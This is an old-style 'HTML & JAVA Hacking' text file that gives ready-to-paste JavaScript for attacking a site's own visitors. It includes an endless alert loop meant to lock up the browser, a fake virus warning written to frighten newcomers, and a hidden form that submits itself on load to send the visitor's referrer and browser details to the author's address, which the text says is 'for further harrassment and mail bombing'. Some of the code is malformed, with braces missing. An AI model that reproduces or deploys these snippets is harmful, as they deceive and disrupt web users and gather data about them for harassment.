HTML & JAVA Hacking

 Introduction

This section talks about using HTML and JAVA in webpages to make people have to shut down their Web Browsers or even their computers.  Before you can continue reading this you need to have a basic understanding of HTML and maybe a little JAVA.

 

What to do

Well, first off you need some website space so you can put a website up (duh).  Then simply place the following tags in your website.  Pretty Simple. 

The Tags

1) This JavaScript will prompt countless messages, one after the other.  The only way for this to stop is for the victim to restart his Web Browser.  You must place the following in the <HEAD> tag:

<HEAD>
<SCRIPT LANGUAGE="JavaScript">
<!-- Begin
function doCrash() 
while (true) 
alert("you're stuck!");

// End -->
</SCRIPT>
</HEAD>

And this must go in the BODY tag:
<BODY onload="doCrash()">

2) This JavaScript will prompt messages, telling the victim that his computer is infected with a virus. If it is a newbie visiting you site, he may do some drastic things – HEHEHE.

Put this in the <HEAD> tag:

<HEAD>

<SCRIPT LANGUAGE="JavaScript">

<!-- Begin
function confirmClose()         
alert("Error: 107x has occurred.  A virus has begun to infect your hard drive.  Please erase all infected files.")         
if (confirm("Please inform the the hardware vendor of this error."))
alert('The virus has been contained but the browser will shutdown to check for and prevent further internal damages.'); 
else 
alert('The problem has not been fixed, the browser must be shut downtown to prevent further contamination.');
                
window.close()        

// End -->
</SCRIPT>

And this must go in the BODY of the HTML document:

<BODY>

<CENTER>
<FORM>
<input type="button" value ="Go Home" onClick="confirmClose()">
</FORM>
</CENTER>

3) When a visitor logs onto your site, he sends you an e-mail, usually without him knowing!  So you can get his address for further harrassment and mail bombing:

<HEAD>

<SCRIPT LANGUAGE="JavaScript"> 

<!--
var startTime = new Date();
startTime = startTime.getTime();
var submissions = 0;

function checkForDuplicate() 
 if (document.form1) 
  document.form1.REFERRER.value = document.referrer;
  document.form1.PLATFORM.value = navigator.appName
   + " " + navigator.appVersion;
  submissions++;
  if (submissions > 1)
   return false;
  else
   return true;
  else 
  return false;
 
 // goes with function

function doneLoading() 
 var stopTime = new Date();
 stopTime = stopTime.getTime();
 document.form1.LOADING_TIME.value = ((stopTime - startTime) / 1000)
  + " seconds";
 document.form1.PAGE.value = document.title;
 document.form1.SUBMITTER.click(); // triggers submission of form
 // equivalent to form.submit(), but
 // Netscape blocks form.submit() calls to forms with mailto actions
 // this is a workaround for that problem

// -->
</script>

</HEAD>

Add this to your body tag:

<BODY onLoad="doneLoading()">

Add this to the body of your html document:

<FORM name="form1"
        METHOD=post
 
Change the dummy e-mail to your e-mail:
        
action="mailto:antispammer@earthling.net?SUBJECT=Devious Visitor Monitor"
        enctype="text/plain"
        onSubmit="return checkForDuplicate()">
<input type="hidden" name="PAGE" value="none">
<input type="hidden" name="REFERRER" value="none">
<input type="hidden" name="PLATFORM" value="none">
<input type="hidden" name="LOADING_TIME" value="none">
<input type="submit"
        name="SUBMITTER"
        value="Click me to let me know you were here">
</form>

$  $          ##   ##
$  $         #  # #  #
$$$$        #    #    #
$  $  

  #           #
$  $  ACK  #           #  AC

        |***********************|
e-mail- | Happle@mindspring.com |
        '***********************'